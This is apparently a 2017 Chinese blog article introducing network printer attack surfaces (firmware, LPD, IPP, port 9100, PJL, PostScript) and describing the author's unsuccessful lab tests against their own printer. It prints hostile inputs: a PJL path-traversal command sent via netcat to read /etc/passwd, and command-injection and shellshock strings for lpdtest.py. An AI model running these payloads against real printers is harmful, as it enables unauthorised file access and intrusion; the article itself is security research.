首发于安全客
网络打印机安全技术初探

网络打印机安全技术初探

前言

以下章节的内容仅仅是我自己对打印机的研究工作以及最近读到的有关打印机文章的总结。在过去的几个月时间里,我有机会接触到几种不同型号的打印机,并学习了一些有关打印机的基本规范。不论是供应商还是基本规范,各个类型的打印机都不同,并且每个类型的打印机还使用各种不同的协议和固件。在接下来的文章中,我将先对打印机的有关理论知识进行介绍。

那么,为什么要将打印机作为攻击目标呢?为什么不像往常一样研究个人电脑或者服务器上的恶意软件呢?在接下来的几个段落中我们将对上述问题进行阐述。

本地vs网络打印机

本地打印机只是简单的连接到台式电脑上,共享性差。而现在的所有打印机基本上都是网络打印机,使用网络打印机可以使物理位置不在同一个地方的用户共享一个或者多个打印设备,整个视图看起来如下图所示:

如上图所示,网络打印机协议作为部署打印作业的通道,直接包含了页面描述语言(PDL)或者首先调用打印机或者作业控制语言!下面我将对上图中的每个部分进行介绍,并对每部分涉及到的基本原理进行阐述。

基础知识

一、固件

根据以往的工作经验,打印机使用了一些嵌入式设备的不同类型的操作系统。例如下面几个操作系统就是一些网络打印机常使用的嵌入式设备操作系统:

1. 可定制的GNU / Linux,

2. WindRiver Linux5

3. VxWorks5

4. ThreadX6

通过对几款打印机的研究和分析,我总结出了这些打印机的一些共同点:

1. 精简指令/命令集-减少功能,

2. 使用版本较老的内核-通常内核版本是2.6.XYZ,

3. 可能包括一些“隐藏”功能,但可以通过wink补丁启用-例如:找到一个ssh文件,但需要在配置文件中启用,

4. 与家用打印机相比,ssh功能更多保留在办公室中的打印机中,

5. 有时固件的存储方式很有趣-例如:在SD卡上,您可以删除或者切换30秒内的物理访问。

以上的这些事实表明,网络打印机可能容易受到某些网络攻击,但这些网络攻击在实施上通常会变得比较“复杂”,因为网络攻击者甚至不能或以某种方式通过(远程)文件系统的写入来启用网络打印机上的某些功能。接下来,我将对打印机协议进行介绍,打印机协议通常用于打印服务器和台式PC之间的通信,甚至用于打印机内部的通信。

二、网络打印协议

在Windows用户群体中,SMB/CIFS协议的打印机很受欢迎。然而,最常见的网络打印协议是LPD,IPP和RAW。此外,一些网络设备还支持FTP或HTTP等通用协议通过文件上传的方式进行打印。

1. LPD

LPD是“行式打印机后台程序”协议的缩写,该协议监听TCP 515端口,可以通过CLI使用“lpr”进行访问。为了打印,客户端需要发送一个作业控制文件和包含要打印的数据文件。

2. IPP

IPP是基于HTTP的扩展协议,因此它继承了HTTP协议所有的安全功能,如基本身份验证和SSL/TLS加密。要提交打印作业,用户需要发送HTTP POST请求到IPP服务器,该服务器监听TCP 631端口,任何人都知道CUPS是IPP协议的一个实现,它是许多Linux发行版和macOS X中的默认打印系统。

3. SMB

SMB(服务器信息块)是应用层网络协议,通常在Windows上使用。该协议监听TCP 445端口,经常用于网络中的共享文件和打印机。

4. 9100端口

也被称为“raw printing”,因为它使用TCP 9100端口进行网络打印操作,通常在CUPS和Windows系统中使用。与LPD,IPP和SMB协议需要使用打印机控制语言才能执行打印操作相比,通过9100端口发送的所有数据都由打印设备直接处理,并直接将打印结果反馈到客户端,包括状态和错误消息。因此我们可以通过该方法来直接访问打印机控制语言的结果!

三、打印机控制语言

基本上,作业控制语言管理当前作业的输出等设置,它通常位于打印协议和页面描述语言之间。打印机控制和管理语言的设计不仅影响单个打印作业,而且影响整个打印设备。

下面我将对最基本的两个打印机控制语言进行介绍:

1. SNMP

SNMP-“简单网络管理协议”,该协议监听UDP 161端口,用于管理网络组件。

2. PJL

PJL是“Printer Job Language”的简称,该控制语言可用于操纵常规设置,也可以永久更改。在许多控制语言中,供应商往往只支持PJL控制语言中的部分命令,并根据打印机的需要自行添加专有的功能。此外,PJL也常用于设置实际打印数据的文件格式,网络攻击者往往对该控制语言的这个功能非常感兴趣。

四、页面描述语言(PDL)

PDL主要用于指定了实际文档的视图,下面将介绍两种主要的页面描述语言:

1. PostScript(PS)

众所周知,该页面描述语言由Adobe发明,并被广泛用于PDL。PS的能力远不止于定义文档的外观和处理矢量图形。因此,当被网络攻击者利用时,PS可以用于各种攻击,例如拒绝服务,打印作业处理和保留以及访问打印机的文件系统等恶意操作。

2. PCL

PCL是各种供应商和设备都支持的极简页面描述语言,该页面描述语言不直接访问底层文件系统,因此和PS相比,该描述语言并不是很适合用于攻击的目的。

漏洞利用

通过Shodan我发现很多人会把打印机放在因特网上,具体如下图所示:

如上所述,很多网络打印机通过端口9100连接到互联网,因此网络攻击者使用该端口可以对这些网络打印机实施网络攻击。例如利用打印机设备上的一个SSH弱口令的漏洞就可以轻松的登入到网络打印机设备中去。

可能要搞的事情

1. DoS

独占传输通道-阻止一个打印端口,使打印机保持繁忙状态,不再打印任何东西。

文档处理-通过PDL操作文档,让打印机解析该文档。例如:PS中的无限循环。

物理损坏-在NVRAM芯片上写入的恶意软件。

2. 特权升级

恢复出厂设置-重置为出厂默认设置以绕过认证。

绕过账户权限。

3. 访问打印作业

尝试在打印机上查找存储的打印作业并提取它们。

更改打印作业。

4. 信息泄漏

内存访问-可能会找到密码或打印文档中的敏感数据。

文件系统访问-可以检索敏感信息,如配置文件或存储的打印作业。

凭证泄漏-对更改的默认登录凭据进行暴力攻击以获取访问权限

5. 代码执行

缓冲区溢出-由于打印机提供额外的语言和网络服务,因此可能存在缓冲区溢出漏洞;

固件更新-将打印机固件更新为含有恶意软件的固件;

软件包-定制和操纵打印机应用程序。

可能的攻击场景

如上所述,构造何种类型的攻击向量取决于攻击计划和访问方式,一些攻击手法可能需要物理访问,而另一些则可以通过远程来完成。例如,通过简单的打印作业(可能的情况:无需验证)发出恶意固件更新,提取敏感数据并使打印机不可用等。因此对打印机的攻击成败确实取决于它们所在的物理位置及其网络环境。

用到的工具

上面提到的很多技术需要掌握一些底层结构的知识(例如:使用PDL,PCL)。即使使用手册或在线搜索可以很容易地找到这些信息,但仍然是比较麻烦和额外的工作。因此利用现有的工具可以使我们的工作变得轻松和简单。

1. BeEF

浏览器开发框架(BeEx)是一种针对Web浏览器的渗透测试工具。它允许渗透测试者通过使用客户端攻击向量来评估目标环境的实际安全状态,使用该框架可以实现跨站打印。

2.Praeda

Praeda,是一款用Perl编写的自动打印机数据采集工具,该工具可以帮助渗透测试人员在安全评估工作期间收集可用的数据。Praeda能够从打印机的嵌入式Web服务器中收集敏感信息,包括设备密码,用户名以及电子邮件地址等敏感数据信息。

3. PRET15

这是一个用python编写的工具,该工具实现了我上述提到的每个攻击向量。

它通过网络或USB连接到网络打印机,并尝试利用打印机所使用的打印机语言,(目前支持的是PS,PJL和PCL),当成功连接时,有一大堆可以使用的命令。

4. LES

Linux Exploit Suggester是一个小perl脚本,由于嵌入式操作系统的内核版本通常远低于当前linux的桌面或服务器发行版本。那么使用该脚本在一些较旧版本的Linux内核漏洞利用中可能仍然可行!

下面我将通过一个实验性的例子来介绍如何对一台网络打印机实施网络攻击操作。

首先要明确打印机开放哪些端口以及操作系统指纹是什么,这里我们使用nmap来获取这些数据信息,扫描结果如下所示:

$ sudo nmap 192.168.1.108
Starting Nmap 7.01 ( https://nmap.org ) at 2017-09-11 20:13 CEST
Nmap scan report for 192.168.1.108
Host is up (0.031s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE
80/tcp open http
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
515/tcp open printer
631/tcp open ipp
9100/tcp open jetdirect
MAC Address: 44:D2:44:1C:73:E2 (Seiko Epson)
Nmap done: 1 IP address (1 host up) scanned in 2.04 seconds
Device type: specialized
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.31 - 2.6.35 (embedded)
Network Distance: 1 hop
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .

通过对扫描结果的分析我们发现,该打印机开放了9100端口,并且它正在运行一个较旧的Linux内核,但该打印机并没有开放TCP 22端口,因此想要造成文件系统的混乱是不可能的了。然后,使用PRET看看能获取到什么数据信息,实验结果如下所示:

$ python pret.py 192.168.1.108 -s PS
Checking for IPP support:       found
Checking for HTTP support:      found
Checking for SNMP support:      found
Checking for PS support:        not found
$ python pret.py 192.168.1.108 -s Pjl
Checking for IPP support:       found
Checking for HTTP support:      found
Checking for SNMP support:      found
Checking for PJL support:       not found
$ python pret.py 192.168.1.108 -s PCL
Checking for IPP support:       found
Checking for HTTP support:      found
Checking for SNMP support:      found
Checking for PCL support:       not found

依然没有发现SSH,很可能是这款打印机的供应商对该打印机系统做了一些定制化的操作,使其变得稍微安全一些,不然一旦使用PRET连接到打印机中的一个功能,我们将可以做很多事情。例如检查文件系统。 创建目录,更改配置文件甚至dump整个NVRAM。在发现使用PRET无果之后,我继续尝试其他渗透测试工具!我准备使用LES工具,以发现是否存在可以利用的Linux漏洞,实验过程如下所示:

$ perl Linux_Exploit_Suggester.pl -k 2.6.31
Kernel local: 2.6.31
Searching among 65 exploits...
Possible Exploits:
[+] american-sign-language
CVE-2010-4347
Source: http://www.securityfocus.com/bid/45408/
[+] can_bcm
CVE-2010-2959
Source: http://www.exploit-db.com/exploits/14814/
[+] do_pages_move
Alt: sieve    CVE-2010-0415
Source: Spenders Enlightenment
[+] half_nelson
Alt: econet    CVE-2010-3848
Source: http://www.exploit-db.com/exploits/6851
[+] half_nelson1
Alt: econet    CVE-2010-3848
Source: http://www.exploit-db.com/exploits/17787/
[+] half_nelson2
Alt: econet    CVE-2010-3850
Source: http://www.exploit-db.com/exploits/17787/
[+] half_nelson3
Alt: econet    CVE-2010-4073
Source: http://www.exploit-db.com/exploits/17787/
[+] msr
CVE-2013-0268
Source: http://www.exploit-db.com/exploits/27297/
[+] pipe.c_32bit
CVE-2009-3547
Source: http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c
[+] pktcdvd
CVE-2010-3437
Source: http://www.exploit-db.com/exploits/15150/
[+] ptrace_kmod2
Alt: ia32syscall,robert_you_suck    CVE-2010-3301
Source: http://www.exploit-db.com/exploits/15023/
[+] rawmodePTY
CVE-2014-0196
Source: http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c
[+] rds
CVE-2010-3904
Source: http://www.exploit-db.com/exploits/15285/
[+] reiserfs
CVE-2010-1146
Source: http://www.exploit-db.com/exploits/12130/
[+] video4linux
CVE-2010-3081
Source: http://www.exploit-db.com/exploits/15024/

通过简单地分析LES工具的输出结果,我决定继续尝试其他方法。

直觉告诉我,为什么不再试试PJL呢?因此我使用netcat作为监听程序,并尝试手动调用一些命令,执行命令如下所示:

echo "@PJL FSUPLOAD FORMAT:BINARY NAME="../../etc/passwd" OFFSET=0 SIZE=648" | nc -v -v 192.168.1.108 9100
# If successful this should display the */etc/passwd* file.

或者

echo "@PJL INFO ID" | nc -v -v 192.168.1.108 9100
# If successful this should get the *printer’s device information*

在这个过程中我也尝试了其他PJL命令注入技术,由于它们的命令语法差异很大,加上我也不太了解PS/PCL的启动,因此我的打印机对这种“攻击”一点也没有反应。

一个PRET脚本就能搞定?

如上所述,PRET并不能用来“攻击”我的家用打印机。但是我发现PRET源文件夹中有一个名为“lpdtest.py”的“隐藏”脚本,该脚本可以用来测试行式打印机后台程序中较老的漏洞,测试过程如下所示:

尝试从打印机的文件系统获取文件,代码如下所示:

$ lpdtest.py printer get / etc / passwd
$ lpdtest.py printer get ../../../etc/passwd
#etc...

此测试对用户输入的数据(例如主机名,用户名,作业名,文件名等)进行fuzz处理。

# Test for environment variables
$ lpdtest.py printer in '$UID'
# Test for pipes and redirects
$ lpdtest.py printer in '| pwd'
$ lpdtest.py printer in '>> /etc/passwd'
# Test for backticks
$ lpdtest.py printer in '`ls`'
# Test for [shellshock (CVE-2014-6271)](http://seclists.org/oss-sec/2014/q3/650)
$ lpdtest.py printer in '() {:;}; /bin/ping -c1 1.2.3.4'

正如预期的那样,这些攻击已经被修复,使用该脚本依然没能成功实施对打印机的攻击操作。

总结

为什么打印机会被攻击?

大多数打印机已经和个人电脑或者服务器没什么区别了!

打印机可用作端口/网络/漏洞利用扫描器

用于计算/哈希破解/嗅探

用于上传恶意软件

用作C&C服务器

盗取未加密的数据

展望

如果我拿到一些更好的打印机,那么我将会继续在这些打印机上研究有关打印机漏洞利用的实验。如果我有更多的时间,我会投入更多的时间去研究对上述家用打印机的漏洞利用。例如捕获固件更新,并尝试对固件执行脱壳和逆向操作,但这些都需要投入更多的时间去研究和分析。所以我现在保持开放的心态,我希望上述的研究和分析能让我保持对打印机漏洞利用研究的兴趣。此外,我希望这篇文章能够帮助到那些对打印机漏洞利用感兴趣的人,并能够学习一些东西。所以如果你想研究自己的打印机设备,Just do it!不过请切记提醒:

找到进入系统的一种方式,

检查使用的打印机语言,并尝试上述这些代码注入技术,

尝试从Web界面dump文件系统目录结构,

如果可以,上传自己创建的“恶意”固件,

找到一种新的漏洞利用方法

最后,我期待着反馈和改进建议。

编辑于 2017-09-22 11:09